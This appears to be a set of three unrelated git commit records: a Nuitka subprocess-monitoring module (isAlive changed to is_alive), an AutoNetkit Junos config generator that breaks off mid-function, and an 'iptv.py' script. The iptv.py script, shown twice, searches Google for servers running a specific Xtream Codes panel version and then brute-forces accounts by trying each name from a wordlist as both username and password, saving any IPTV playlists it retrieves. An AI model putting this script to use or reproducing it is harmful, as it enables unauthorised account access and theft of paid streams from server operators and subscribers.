<commit_before>#     Copyright 2020, Kay Hayen, mailto:kay.hayen@gmail.com
#
#     Part of "Nuitka", an optimizing Python compiler that is compatible and
#     integrates with CPython, but also works on its own.
#
#     Licensed under the Apache License, Version 2.0 (the "License");
#     you may not use this file except in compliance with the License.
#     You may obtain a copy of the License at
#
#        http://www.apache.org/licenses/LICENSE-2.0
#
#     Unless required by applicable law or agreed to in writing, software
#     distributed under the License is distributed on an "AS IS" BASIS,
#     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#     See the License for the specific language governing permissions and
#     limitations under the License.
#
""" Spawning processes.

This is to replace the standard spawn implementation with one that tracks the
progress, and gives warnings about things taking very long.
"""

import os
import re
import subprocess
import threading

from nuitka.Tracing import my_print, scons_logger
from nuitka.utils.Timing import TimerReport

from .SconsCaching import extractClcacheLogFromOutput
from .SconsUtils import decodeData

# Thread class to run a command
class SubprocessThread(threading.Thread):
    def __init__(self, cmdline, env):
        threading.Thread.__init__(self)

        self.cmdline = cmdline
        self.env = env

        self.data = None
        self.err = None
        self.exit_code = None

        self.timer_report = TimerReport(
            message="Running %s took %%.2f seconds"
            % repr(self.cmdline).replace("%", "%%"),
            min_report_time=60,
            logger=scons_logger,
        )

    def run(self):
        # execute the command, queue the result
        with self.timer_report:
            proc = subprocess.Popen(
                self.cmdline,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                shell=False,
                env=self.env,
            )

            self.data, self.err = proc.communicate()
            self.exit_code = proc.wait()

    def getProcessResult(self):
        return self.data, self.err, self.exit_code

def runProcessMonitored(cmdline, env):
    thread = SubprocessThread(cmdline, env)
    thread.start()

    # Allow a minute before warning for long compile time.
    thread.join(60)

    if thread.isAlive():
        scons_logger.info(
            "Slow C compilation detected, used %.0fs so far, this might indicate scalability problems."
            % thread.timer_report.getTimer().getDelta()
        )

    thread.join()

    return thread.getProcessResult()

# To work around Windows not supporting command lines of greater than 10K by
# default:
def getWindowsSpawnFunction(module_mode, source_files):
    def spawnWindowsCommand(
        sh, escape, cmd, args, env
    ):  # pylint: disable=unused-argument

        # The "del" appears to not work reliably, but is used with large amounts of
        # files to link. So, lets do this ourselves, plus it avoids a process
        # spawn.
        if cmd == "del":
            assert len(args) == 2

            os.unlink(args[1])
            return 0

        # For quoted arguments that end in a backslash, things don't work well
        # this is a workaround for it.
        def removeTrailingSlashQuote(arg):
            if arg.endswith(r"\""):
                return arg[:-1] + '\\"'
            else:
                return arg

        newargs = " ".join(removeTrailingSlashQuote(arg) for arg in args[1:])
        cmdline = cmd + " " + newargs

        # Remove useless quoted include directories to "windres", which does not
        # handle them properly in its command line parsing, while they are not
        # used at all.
        if cmd == "windres":
            cmdline = re.sub('--include-dir ".*?"', "", cmdline)

        data, err, rv = runProcessMonitored(cmdline, env)

        if cmd == "rc":
            data = data[data.find(b"reserved.\r") + 13 :]

            data = b"\n".join(
                line
                for line in data.split(b"\n")
                if b"identifier truncated to" not in line
            )
        elif cmd == "link":
            if module_mode:
                data = b"\r\n".join(
                    line
                    for line in data.split(b"\r\n")
                    if b"   Creating library" not in line
                    # On localized compilers, the message to ignore is not as clear.
                    if not (module_mode and b".exp" in line)
                )
        elif cmd == "cl" or os.path.basename(cmd).lower() == "clcache.exe":
            # Remove clcache debug output if present:
            data = extractClcacheLogFromOutput(data)

            # Skip forced output from cl.exe
            data = data[data.find(b"\r\n") + 2 :]

            source_basenames = [
                os.path.basename(source_file) for source_file in source_files
            ]

            def check(line):
                return line in (b"", b"Generating Code...") or line in source_basenames

            data = (
                b"\r\n".join(line for line in data.split(b"\r\n") if not check(line))
                + b"\r\n"
            )

        if data.rstrip():
            if not decodeData:
                my_print(cmdline, style="yellow")

            if str is not bytes:
                data = decodeData(data)

            my_print(data, style="yellow", end="")

        if err:
            if str is not bytes:
                err = decodeData(err)

            my_print(err, style="yellow", end="")

        return rv

    return spawnWindowsCommand

class SpawnThread(threading.Thread):
    def __init__(self, spawn, *args):
        threading.Thread.__init__(self)

        self.spawn = spawn
        self.args = args

        self.timer_report = TimerReport(
            message="Running %s took %%.2f seconds"
            % (repr(self.args).replace("%", "%%"),),
            min_report_time=60,
            logger=scons_logger,
        )

        self.result = None

    def run(self):
        # execute the command, queue the result
        with self.timer_report:
            self.result = self.spawn(*self.args)

    def getSpawnResult(self):
        return self.result

def runSpawnMonitored(spawn, sh, escape, cmd, args, env):
    thread = SpawnThread(spawn, sh, escape, cmd, args, env)
    thread.start()

    # Allow a minute before warning for long compile time.
    thread.join(60)

    if thread.isAlive():
        scons_logger.info(
            "Slow C compilation detected, used %.0fs so far, this might indicate scalability problems."
            % thread.timer_report.getTimer().getDelta()
        )

    thread.join()

    return thread.getSpawnResult()

def getWrappedSpawnFunction(spawn):
    def spawnCommand(sh, escape, cmd, args, env):
        return runSpawnMonitored(spawn, sh, escape, cmd, args, env)

    return spawnCommand
<commit_msg>Python3.9: Avoid using removed method<commit_after>#     Copyright 2020, Kay Hayen, mailto:kay.hayen@gmail.com
#
#     Part of "Nuitka", an optimizing Python compiler that is compatible and
#     integrates with CPython, but also works on its own.
#
#     Licensed under the Apache License, Version 2.0 (the "License");
#     you may not use this file except in compliance with the License.
#     You may obtain a copy of the License at
#
#        http://www.apache.org/licenses/LICENSE-2.0
#
#     Unless required by applicable law or agreed to in writing, software
#     distributed under the License is distributed on an "AS IS" BASIS,
#     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#     See the License for the specific language governing permissions and
#     limitations under the License.
#
""" Spawning processes.

This is to replace the standard spawn implementation with one that tracks the
progress, and gives warnings about things taking very long.
"""

import os
import re
import subprocess
import threading

from nuitka.Tracing import my_print, scons_logger
from nuitka.utils.Timing import TimerReport

from .SconsCaching import extractClcacheLogFromOutput
from .SconsUtils import decodeData

# Thread class to run a command
class SubprocessThread(threading.Thread):
    def __init__(self, cmdline, env):
        threading.Thread.__init__(self)

        self.cmdline = cmdline
        self.env = env

        self.data = None
        self.err = None
        self.exit_code = None

        self.timer_report = TimerReport(
            message="Running %s took %%.2f seconds"
            % repr(self.cmdline).replace("%", "%%"),
            min_report_time=60,
            logger=scons_logger,
        )

    def run(self):
        # execute the command, queue the result
        with self.timer_report:
            proc = subprocess.Popen(
                self.cmdline,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                shell=False,
                env=self.env,
            )

            self.data, self.err = proc.communicate()
            self.exit_code = proc.wait()

    def getProcessResult(self):
        return self.data, self.err, self.exit_code

def runProcessMonitored(cmdline, env):
    thread = SubprocessThread(cmdline, env)
    thread.start()

    # Allow a minute before warning for long compile time.
    thread.join(60)

    if thread.is_alive():
        scons_logger.info(
            "Slow C compilation detected, used %.0fs so far, this might indicate scalability problems."
            % thread.timer_report.getTimer().getDelta()
        )

    thread.join()

    return thread.getProcessResult()

# To work around Windows not supporting command lines of greater than 10K by
# default:
def getWindowsSpawnFunction(module_mode, source_files):
    def spawnWindowsCommand(
        sh, escape, cmd, args, env
    ):  # pylint: disable=unused-argument

        # The "del" appears to not work reliably, but is used with large amounts of
        # files to link. So, lets do this ourselves, plus it avoids a process
        # spawn.
        if cmd == "del":
            assert len(args) == 2

            os.unlink(args[1])
            return 0

        # For quoted arguments that end in a backslash, things don't work well
        # this is a workaround for it.
        def removeTrailingSlashQuote(arg):
            if arg.endswith(r"\""):
                return arg[:-1] + '\\"'
            else:
                return arg

        newargs = " ".join(removeTrailingSlashQuote(arg) for arg in args[1:])
        cmdline = cmd + " " + newargs

        # Remove useless quoted include directories to "windres", which does not
        # handle them properly in its command line parsing, while they are not
        # used at all.
        if cmd == "windres":
            cmdline = re.sub('--include-dir ".*?"', "", cmdline)

        data, err, rv = runProcessMonitored(cmdline, env)

        if cmd == "rc":
            data = data[data.find(b"reserved.\r") + 13 :]

            data = b"\n".join(
                line
                for line in data.split(b"\n")
                if b"identifier truncated to" not in line
            )
        elif cmd == "link":
            if module_mode:
                data = b"\r\n".join(
                    line
                    for line in data.split(b"\r\n")
                    if b"   Creating library" not in line
                    # On localized compilers, the message to ignore is not as clear.
                    if not (module_mode and b".exp" in line)
                )
        elif cmd == "cl" or os.path.basename(cmd).lower() == "clcache.exe":
            # Remove clcache debug output if present:
            data = extractClcacheLogFromOutput(data)

            # Skip forced output from cl.exe
            data = data[data.find(b"\r\n") + 2 :]

            source_basenames = [
                os.path.basename(source_file) for source_file in source_files
            ]

            def check(line):
                return line in (b"", b"Generating Code...") or line in source_basenames

            data = (
                b"\r\n".join(line for line in data.split(b"\r\n") if not check(line))
                + b"\r\n"
            )

        if data.rstrip():
            if not decodeData:
                my_print(cmdline, style="yellow")

            if str is not bytes:
                data = decodeData(data)

            my_print(data, style="yellow", end="")

        if err:
            if str is not bytes:
                err = decodeData(err)

            my_print(err, style="yellow", end="")

        return rv

    return spawnWindowsCommand

class SpawnThread(threading.Thread):
    def __init__(self, spawn, *args):
        threading.Thread.__init__(self)

        self.spawn = spawn
        self.args = args

        self.timer_report = TimerReport(
            message="Running %s took %%.2f seconds"
            % (repr(self.args).replace("%", "%%"),),
            min_report_time=60,
            logger=scons_logger,
        )

        self.result = None

    def run(self):
        # execute the command, queue the result
        with self.timer_report:
            self.result = self.spawn(*self.args)

    def getSpawnResult(self):
        return self.result

def runSpawnMonitored(spawn, sh, escape, cmd, args, env):
    thread = SpawnThread(spawn, sh, escape, cmd, args, env)
    thread.start()

    # Allow a minute before warning for long compile time.
    thread.join(60)

    if thread.is_alive():
        scons_logger.info(
            "Slow C compilation detected, used %.0fs so far, this might indicate scalability problems."
            % thread.timer_report.getTimer().getDelta()
        )

    thread.join()

    return thread.getSpawnResult()

def getWrappedSpawnFunction(spawn):
    def spawnCommand(sh, escape, cmd, args, env):
        return runSpawnMonitored(spawn, sh, escape, cmd, args, env)

    return spawnCommand
<|endoftext|>


<commit_before>#!/usr/bin/python
#-*- coding: utf-8 -*-

#########################################################################
#  This program is free software; you can redistribute it and/or modify #
#  it under the terms of the GNU General Public License as published by #
#  the Free Software Foundation; either version 2 of the License, or    #
#  (at your option) any later version.                                  #
#                                                                       #
#  This program is distributed in the hope that it will be useful,      #
#  but WITHOUT ANY WARRANTY; without even the implied warranty of       #
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        #
#  GNU General Public License for more details.                         #
#                                                                       #
#  You should have received a copy of the GNU General Public License    #
#  along with this program; if not, write to the Free Software          #
#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,           #
#  MA 02110-1301, USA.                                                  #
############################# DISCALIMER ################################
#  Usage of this software for probing/attacking targets without prior   #
#  mutual consent, is illegal. It's the end user's responsability to    #
#  obey alla applicable local laws. Developers assume no liability and  #
#  are not responible for any missue or damage caused by thi program    #
#########################################################################

#by Pinperepette - The Pirate

import urllib2, google, time, pyprind ,sys
from urlparse import urlparse
from sys import argv as s

#parametri editabili
search = "Xtream Codes v1.0.59.5"
names = "names.txt"

def print_link():
    for url in google.search(search, num = 30, stop = 1):
        parsed = urlparse(url)
        print(parsed.scheme + "://" + parsed.netloc + "\n")

def search_account(URL):
    rows = open(names , "r")
    NR = len(rows.readlines())
    TT = (str(NR))
    n = NR
    bar = pyprind.ProgBar(n, title = " ", stream = 1, monitor = True)
    tr = 0
    with open(names) as f:
        content = f.readlines()
    for r in content:
        req = urllib2.Request( URL + "/get.php?username=%s&password=%s&type=m3u&output=mpegts" % (r.rstrip().lstrip(), r.rstrip().lstrip()))
        response = urllib2.urlopen(req)
        the_page = response.read()
        NR = (NR - 1)
        TM = (str(NR))
        bar.update()
        if len(the_page) > 0:
            tr = (tr + 1)
            out_file = open("m3u/tv_channels_%s.m3u" % r.rstrip().lstrip(), "w")
            out_file.write(the_page)
            out_file.close()
    trov = (str(tr))
    print ("Accounts found: " + trov)

def usage():

    print "##### IPTV"
    print "##### Basic Usage"
    print ("Print the servers list: " + s[0] + " " + "-pl")
    print ("Account search: " + s[0] + " " + "http://site.server")

if len(s) == 1:
    usage()
    exit()
if s[1] == "-h":
    usage()
    exit()
if s[1] == "-pl":
    print_link()
    exit()

search_account(s[1])
<commit_msg>Update iptv.py<commit_after>#!/usr/bin/python
#-*- coding: utf-8 -*-

#########################################################################
#  This program is free software; you can redistribute it and/or modify #
#  it under the terms of the GNU General Public License as published by #
#  the Free Software Foundation; either version 2 of the License, or    #
#  (at your option) any later version.                                  #
#                                                                       #
#  This program is distributed in the hope that it will be useful,      #
#  but WITHOUT ANY WARRANTY; without even the implied warranty of       #
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        #
#  GNU General Public License for more details.                         #
#                                                                       #
#  You should have received a copy of the GNU General Public License    #
#  along with this program; if not, write to the Free Software          #
#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,           #
#  MA 02110-1301, USA.                                                  #
############################# DISCALIMER ################################
#  Usage of this software for probing/attacking targets without prior   #
#  mutual consent, is illegal. It's the end user's responsability to    #
#  obey alla applicable local laws. Developers assume no liability and  #
#  are not responible for any missue or damage caused by thi program    #
#########################################################################

#by Pinperepette - The Pirate

import urllib2, google, time, pyprind , sys, os
from urlparse import urlparse
from sys import argv as s

#parametri editabili
search = "Xtream Codes v1.0.59.5"
names = "names.txt"

def print_link():
    for url in google.search(search, num = 30, stop = 1):
        parsed = urlparse(url)
        print(parsed.scheme + "://" + parsed.netloc + "\n")

def search_account(URL):
    rows = open(names , "r")
    NR = len(rows.readlines())
    TT = (str(NR))
    n = NR
    bar = pyprind.ProgBar(n, title = " ", stream = 1, monitor = True)
    tr = 0
    with open(names) as f:
        content = f.readlines()
    for r in content:
        req = urllib2.Request( URL + "/get.php?username=%s&password=%s&type=m3u&output=mpegts" % (r.rstrip().lstrip(), r.rstrip().lstrip()))
        response = urllib2.urlopen(req)
        the_page = response.read()
        NR = (NR - 1)
        TM = (str(NR))
        bar.update()
        if len(the_page) > 0:
            tr = (tr + 1)
            out_file = open("m3u/tv_channels_%s.m3u" % r.rstrip().lstrip(), "w")
            out_file.write(the_page)
            out_file.close()
    trov = (str(tr))
    print ("Accounts found: " + trov)

def usage():

    print "##### IPTV"
    print "##### Basic Usage"
    print ("Print the servers list: " + s[0] + " " + "-pl")
    print ("Account search: " + s[0] + " " + "http://site.server")

if len(s) == 1:
    usage()
    exit()
if s[1] == "-h":
    usage()
    exit()
if s[1] == "-pl":
    print_link()
    exit()

search_account(s[1])
<|endoftext|>


<commit_before>"""
Generate Netkit configuration files for a network
"""
from mako.lookup import TemplateLookup

# TODO: merge these imports but make consistent across compilers
from pkg_resources import resource_filename
import pkg_resources

import os

#import network as network

import logging
LOG = logging.getLogger("ANK")

import shutil
import glob
import itertools

import AutoNetkit as ank
from AutoNetkit import config

import pprint
pp = pprint.PrettyPrinter(indent=4)
import tarfile
import time

# Check can write to template cache directory
#TODO: make function to provide cache directory
#TODO: move this into config
template_cache_dir = config.template_cache_dir

template_dir =  resource_filename("AutoNetkit","lib/templates")
lookup = TemplateLookup(directories=[ template_dir ],
        module_directory= template_cache_dir,
        #cache_type='memory',
        #cache_enabled=True,
        )

def lab_dir():
    """Lab directory for junos configs"""
    return config.junos_dir

def router_conf_dir():
    """Directory for individual Junos router configs"""
    return os.path.join(lab_dir(), "configset")

def router_conf_file(network, node):
    """Returns filename for config file for router"""
    return "%s.conf" % ank.rtr_folder_name(network, node)

def router_conf_path(network, node):
    """ Returns full path to router config file"""
    r_file = router_conf_file(network, node)
    return os.path.join(router_conf_dir(), r_file)

def int_id_em(numeric_id):
    """Returns Junos format interface ID for an AutoNetkit interface ID
    eg em1"""
# Junosphere uses em0 for external link
    numeric_id += 1
    return 'em%s' % numeric_id

def int_id_ge(numeric_id):
    """Returns Junos format interface ID for an AutoNetkit interface ID
    eg ge-0/0/1"""
# Junosphere uses ge/0/0/0 for external link
    numeric_id += 1
    return 'ge-0/0/%s' % numeric_id

def logical_int_id_ge(numeric_id):
    """ For routing protocols, refer to logical int id:
    ge-0/0/1 becomes ge-0/0/1.0"""
    return int_id_ge(numeric_id) + ".0"

class JunosCompiler:
    """Compiler main"""

    def __init__(self, network, services, igp):
        self.network = network
        self.services = services
        self.igp = igp

    def initialise(self):
        """Creates lab folder structure"""
        if not os.path.isdir(lab_dir()):
            os.mkdir(lab_dir())
        else:
            for item in glob.iglob(os.path.join(lab_dir(), "*")):
                if os.path.isdir(item):
                    shutil.rmtree(item)
                else:
                    os.unlink(item)

        # Directory to put config files into
        if not os.path.isdir(router_conf_dir()):
            os.mkdir(router_conf_dir())
        return

    def configure_junosphere(self):
        """Configure Junosphere topology structure"""
        vmm_template = lookup.get_template("junos/topology_vmm.mako")
        topology_data = {}
        # Generator for private0, private1, etc
        #TODO: replace count with xrange up to limit of interfaces, eg 64 in Junosphere
        bridge_id_generator = ('private%s'%i for i in itertools.count(0))
        collision_to_bridge_mapping = {}

        for node in self.network.graph:
            hostname = ank.fqdn(self.network, node)
            topology_data[hostname] = {
                    'image': 'VJX1000_LATEST',
                    'config': router_conf_file(self.network, node),
                    'interfaces': [],
                    }
            for src, dst, data in self.network.graph.edges(node, data=True):
                subnet = data['sn']
                description = 'Interface %s -> %s' % (
                        ank.fqdn(self.network, src),
                        ank.fqdn(self.network, dst))
# Bridge information for topology config
                if subnet in collision_to_bridge_mapping:
# Use bridge allocated for this subnet
                    bridge_id = collision_to_bridge_mapping[subnet]
                else:
# Allocate a bridge for this subnet
                    bridge_id = bridge_id_generator.next()
                    collision_to_bridge_mapping[subnet] = bridge_id

                topology_data[hostname]['interfaces'].append({
                    'description': description,
                    'id': int_id_em(data['id']),
                    'id_ge':  int_id_ge(data['id']),
                    'bridge_id': bridge_id,
                    })

        if len(collision_to_bridge_mapping) > 64:
            LOG.warn("AutoNetkit does not currently support more"
                    " than 123 network links for Junosphere")

        vmm_file = os.path.join(lab_dir(), "topology.vmm")
        with open( vmm_file, 'w') as f_vmm:
            f_vmm.write( vmm_template.render(
                topology_data = topology_data,
                ))

    def configure_interfaces(self, node):
        """Interface configuration"""
        lo_ip = self.network.lo_ip(node)
        interfaces = []

        interfaces.append({
            'id':          'lo0',
            'ip':           str(lo_ip.ip),
            'netmask':      str(lo_ip.netmask),
            'prefixlen':    str(lo_ip.prefixlen),
            'net_ent_title': ank.ip_to_net_ent_title(lo_ip),
            'description': 'Loopback',
        })

        # Add em0.0 for Qemu
#TODO: make this enabled with switch for QEMU
        """
        interfaces.append({
            'id':          'em0',# modified from "em0.0"
            'ip':           str(self.network[node].get('tap_ip')),
            'netmask':      str(tap_subnet.netmask),
            'prefixlen':    32,# modified into 32
            'description': 'Admin for Qemu',
        })
        """

        for src, dst, data in self.network.graph.edges(node, data=True):
            subnet = data['sn']
            int_id = int_id_ge(data['id'])
            description = 'Interface %s -> %s' % (
                    ank.fqdn(self.network, src),
                    ank.fqdn(self.network, dst))

# Interface information for router config
            interfaces.append({
                'id':          int_id,
                'ip':           str(data['ip']),
                'prefixlen':    str(subnet.prefixlen),
                'broadcast':    str(subnet.broadcast),
                'description':  description,
            })

        return interfaces

    def configure_igp(self, node, igp_graph):
        """igp configuration"""
        default_weight = 1
        igp_interfaces = []
        if igp_graph.degree(node) > 0:
            # Only start IGP process if IGP links
            igp_interfaces.append({ 'id': 'lo0', 'passive': True})
            for src, dst, data in igp_graph.edges(node, data=True):
                int_id = logical_int_id_ge(data['id'])
                description = 'Interface %s -> %s' % (
                    ank.fqdn(self.network, src),
                    ank.fqdn(self.network, dst))
                igp_interfaces.append({
                    'id':       int_id,
                    'weight':   data.get('weight', default_weight),
                    'description': description,
                    })
        return igp_interfaces

    def configure_bgp(self, node, physical_graph, ibgp_graph, ebgp_graph):
        """ BGP configuration"""
        if len(ebgp_graph.edges()) == 0:
# Don't configure iBGP or eBGP if no eBGP edges
            LOG.debug("Skipping BGP configuration for %s as no eBGP edges" % node)
            return

#TODO: put comments in for junos bgp peerings

        bgp_groups = {}
        if node in ibgp_graph:
            internal_peers = []
            for peer in ibgp_graph.neighbors(node):
                internal_peers.append({'id': self.network.lo_ip(peer).ip})
            bgp_groups['internal_peers'] = {
                    'type': 'internal',
                    'neighbors': internal_peers
                    }

        ibgp_neighbor_list = []
        ibgp_rr_client_list = []
        if node in ibgp_graph:
            for src, neigh, data in ibgp_graph.edges(node, data=True):
                description = data.get("rr_dir") + " to " + ank.fqdn(self.network, neigh)
                if data.get('rr_dir') == 'down':
                    ibgp_rr_client_list.append(
                            {
                                'id':  self.network.lo_ip(neigh).ip,
                                'description':      description,
                                })
                elif (data.get('rr_dir') in set(['up', 'over', 'peer'])
                        or data.get('rr_dir') is None):
                    ibgp_neighbor_list.append(
                            {
                                'id':  self.network.lo_ip(neigh).ip,
                                'description':      description,
                                })

        bgp_groups['internal_peers'] = {
            'type': 'internal',
            'neighbors': ibgp_neighbor_list
            }
        if len(ibgp_rr_client_list):
            bgp_groups['internal_rr'] = {
                    'type': 'internal',
                    'neighbors': ibgp_rr_client_list,
                    'cluster': self.network.lo_ip(node).ip,
                    }

        if node in ebgp_graph:
            external_peers = []
            for peer in ebgp_graph.neighbors(node):
                peer_ip = physical_graph[peer][node]['ip']
                external_peers.append({
                    'id': peer_ip,
                    'peer_as': self.network.asn(peer)})
            bgp_groups['external_peers'] = {
                    'type': 'external',
                    'neighbors': external_peers}

        return bgp_groups

    def configure_junos(self):
        """ Configures Junos"""
        LOG.info("Configuring Junos")
        junos_template = lookup.get_template("junos/junos.mako")
        ank_version = pkg_resources.get_distribution("AutoNetkit").version

        physical_graph = self.network.graph
        igp_graph = ank.igp_graph(self.network)
        ibgp_graph = ank.get_ibgp_graph(self.network)
        ebgp_graph = ank.get_ebgp_graph(self.network)

        #TODO: correct this router type selector
        for node in self.network.q(platform="NETKIT"):
            asn = self.network.asn(node)
            network_list = []
            lo_ip = self.network.lo_ip(node)

            interfaces = self.configure_interfaces(node)
            igp_interfaces = self.configure_igp(node, igp_graph)
            bgp_groups = self.configure_bgp(node, physical_graph, ibgp_graph, ebgp_graph)

            # advertise AS subnet
            adv_subnet = self.network.ip_as_allocs[asn]
            if not adv_subnet in network_list:
                network_list.append(adv_subnet)

            juniper_filename = router_conf_path(self.network, node)
            with open( juniper_filename, 'w') as f_jun:
                f_jun.write( junos_template.render(
                    hostname = ank.fqdn(self.network, node),
                    username = 'autonetkit',
                    interfaces=interfaces,
                    igp_interfaces=igp_interfaces,
                    igp_protocol = self.igp,
                    asn = asn,
                    lo_ip=lo_ip,
                    router_id = lo_ip.ip,
                    network_list = network_list,
                    bgp_groups = bgp_groups,
                    ank_version = ank_version,
                    ))

    def configure(self):
        self.configure_junosphere()
        self.configure_junos()
# create .tgz
        tar_filename = "junos_%s.tar.gz" % time.strftime("%Y%m%d_%H%M",
                time.localtime())
        tar = tarfile.open(os.path.join(config.ank_main_dir,
            tar_filename), "w:gz")
# arcname to flatten file structure
        tar.add(lab_dir(), arcname="")
        self.network.compiled_labs['junos'] = tar_filename
        tar.close()
<commit_msg>do all nodes, ignore platform for now<commit_after>"""
Generate Netkit configuration files for a network
"""
from mako.lookup import TemplateLookup

# TODO: merge these imports but make consistent across compilers
from pkg_resources import resource_filename
import pkg_resources

import os

#import network as network

import logging
LOG = logging.getLogger("ANK")

import shutil
import glob
import itertools

import AutoNetkit as ank
from AutoNetkit import config

import pprint
pp = pprint.PrettyPrinter(indent=4)
import tarfile
import time

# Check can write to template cache directory
#TODO: make function to provide cache directory
#TODO: move this into config
template_cache_dir = config.template_cache_dir

template_dir =  resource_filename("AutoNetkit","lib/templates")
lookup = TemplateLookup(directories=[ template_dir ],
        module_directory= template_cache_dir,
        #cache_type='memory',
        #cache_enabled=True,
        )

def lab_dir():
    """Lab directory for junos configs"""
    return config.junos_dir

def router_conf_dir():
    """Directory for individual Junos router configs"""
    return os.path.join(lab_dir(), "configset")

def router_conf_file(network, node):
    """Returns filename for config file for router"""
    return "%s.conf" % ank.rtr_folder_name(network, node)

def router_conf_path(network, node):
    """ Returns full path to router config file"""
    r_file = router_conf_file(network, node)
    return os.path.join(router_conf_dir(), r_file)

def int_id_em(numeric_id):
    """Returns Junos format interface ID for an AutoNetkit interface ID
    eg em1"""
# Junosphere uses em0 for external link
    numeric_id += 1
    return 'em%s' % numeric_id

def int_id_ge(numeric_id):
    """Returns Junos format interface ID for an AutoNetkit interface ID
    eg ge-0/0/1"""
# Junosphere uses ge/0/0/0 for external link
    numeric_id += 1
    return 'ge-0/0/%s' % numeric_id

def logical_int_id_ge(numeric_id):
    """ For routing protocols, refer to logical int id:
    ge-0/0/1 becomes ge-0/0/1.0"""
    return int_id_ge(numeric_id) + ".0"

class JunosCompiler:
    """Compiler main"""

    def __init__(self, network, services, igp):
        self.network = network
        self.services = services
        self.igp = igp

    def initialise(self):
        """Creates lab folder structure"""
        if not os.path.isdir(lab_dir()):
            os.mkdir(lab_dir())
        else:
            for item in glob.iglob(os.path.join(lab_dir(), "*")):
                if os.path.isdir(item):
                    shutil.rmtree(item)
                else:
                    os.unlink(item)

        # Directory to put config files into
        if not os.path.isdir(router_conf_dir()):
            os.mkdir(router_conf_dir())
        return

    def configure_junosphere(self):
        """Configure Junosphere topology structure"""
        vmm_template = lookup.get_template("junos/topology_vmm.mako")
        topology_data = {}
        # Generator for private0, private1, etc
        #TODO: replace count with xrange up to limit of interfaces, eg 64 in Junosphere
        bridge_id_generator = ('private%s'%i for i in itertools.count(0))
        collision_to_bridge_mapping = {}

        for node in self.network.graph:
            hostname = ank.fqdn(self.network, node)
            topology_data[hostname] = {
                    'image': 'VJX1000_LATEST',
                    'config': router_conf_file(self.network, node),
                    'interfaces': [],
                    }
            for src, dst, data in self.network.graph.edges(node, data=True):
                subnet = data['sn']
                description = 'Interface %s -> %s' % (
                        ank.fqdn(self.network, src),
                        ank.fqdn(self.network, dst))
# Bridge information for topology config
                if subnet in collision_to_bridge_mapping:
# Use bridge allocated for this subnet
                    bridge_id = collision_to_bridge_mapping[subnet]
                else:
# Allocate a bridge for this subnet
                    bridge_id = bridge_id_generator.next()
                    collision_to_bridge_mapping[subnet] = bridge_id

                topology_data[hostname]['interfaces'].append({
                    'description': description,
                    'id': int_id_em(data['id']),
                    'id_ge':  int_id_ge(data['id']),
                    'bridge_id': bridge_id,
                    })

        if len(collision_to_bridge_mapping) > 64:
            LOG.warn("AutoNetkit does not currently support more"
                    " than 123 network links for Junosphere")

        vmm_file = os.path.join(lab_dir(), "topology.vmm")
        with open( vmm_file, 'w') as f_vmm:
            f_vmm.write( vmm_template.render(
                topology_data = topology_data,
                ))

    def configure_interfaces(self, node):
        """Interface configuration"""
        lo_ip = self.network.lo_ip(node)
        interfaces = []

        interfaces.append({
            'id':          'lo0',
            'ip':           str(lo_ip.ip),
            'netmask':      str(lo_ip.netmask),
            'prefixlen':    str(lo_ip.prefixlen),
            'net_ent_title': ank.ip_to_net_ent_title(lo_ip),
            'description': 'Loopback',
        })

        # Add em0.0 for Qemu
#TODO: make this enabled with switch for QEMU
        """
        interfaces.append({
            'id':          'em0',# modified from "em0.0"
            'ip':           str(self.network[node].get('tap_ip')),
            'netmask':      str(tap_subnet.netmask),
            'prefixlen':    32,# modified into 32
            'description': 'Admin for Qemu',
        })
        """

        for src, dst, data in self.network.graph.edges(node, data=True):
            subnet = data['sn']
            int_id = int_id_ge(data['id'])
            description = 'Interface %s -> %s' % (
                    ank.fqdn(self.network, src),
                    ank.fqdn(self.network, dst))

# Interface information for router config
            interfaces.append({
                'id':          int_id,
                'ip':           str(data['ip']),
                'prefixlen':    str(subnet.prefixlen),
                'broadcast':    str(subnet.broadcast),
                'description':  description,
            })

        return interfaces

    def configure_igp(self, node, igp_graph):
        """igp configuration"""
        default_weight = 1
        igp_interfaces = []
        if igp_graph.degree(node) > 0:
            # Only start IGP process if IGP links
            igp_interfaces.append({ 'id': 'lo0', 'passive': True})
            for src, dst, data in igp_graph.edges(node, data=True):
                int_id = logical_int_id_ge(data['id'])
                description = 'Interface %s -> %s' % (
                    ank.fqdn(self.network, src),
                    ank.fqdn(self.network, dst))
                igp_interfaces.append({
                    'id':       int_id,
                    'weight':   data.get('weight', default_weight),
                    'description': description,
                    })
        return igp_interfaces

    def configure_bgp(self, node, physical_graph, ibgp_graph, ebgp_graph):
        """ BGP configuration"""
        if len(ebgp_graph.edges()) == 0:
# Don't configure iBGP or eBGP if no eBGP edges
            LOG.debug("Skipping BGP configuration for %s as no eBGP edges" % node)
            return

#TODO: put comments in for junos bgp peerings

        bgp_groups = {}
        if node in ibgp_graph:
            internal_peers = []
            for peer in ibgp_graph.neighbors(node):
                internal_peers.append({'id': self.network.lo_ip(peer).ip})
            bgp_groups['internal_peers'] = {
                    'type': 'internal',
                    'neighbors': internal_peers
                    }

        ibgp_neighbor_list = []
        ibgp_rr_client_list = []
        if node in ibgp_graph:
            for src, neigh, data in ibgp_graph.edges(node, data=True):
                description = data.get("rr_dir") + " to " + ank.fqdn(self.network, neigh)
                if data.get('rr_dir') == 'down':
                    ibgp_rr_client_list.append(
                            {
                                'id':  self.network.lo_ip(neigh).ip,
                                'description':      description,
                                })
                elif (data.get('rr_dir') in set(['up', 'over', 'peer'])
                        or data.get('rr_dir') is None):
                    ibgp_neighbor_list.append(
                            {
                                'id':  self.network.lo_ip(neigh).ip,
                                'description':      description,
                                })

        bgp_groups['internal_peers'] = {
            'type': 'internal',
            'neighbors': ibgp_neighbor_list
            }
        if len(ibgp_rr_client_list):
            bgp_groups['internal_rr'] = {
                    'type': 'internal',
                    'neighbors': ibgp_rr_client_list,
                    'cluster': self.network.lo_ip(node).ip,
                    }

        if node in ebgp_graph:
            external_peers = []
            for peer in ebgp_graph.neighbors(node):
                peer_ip = physical_graph[peer][node]['ip']
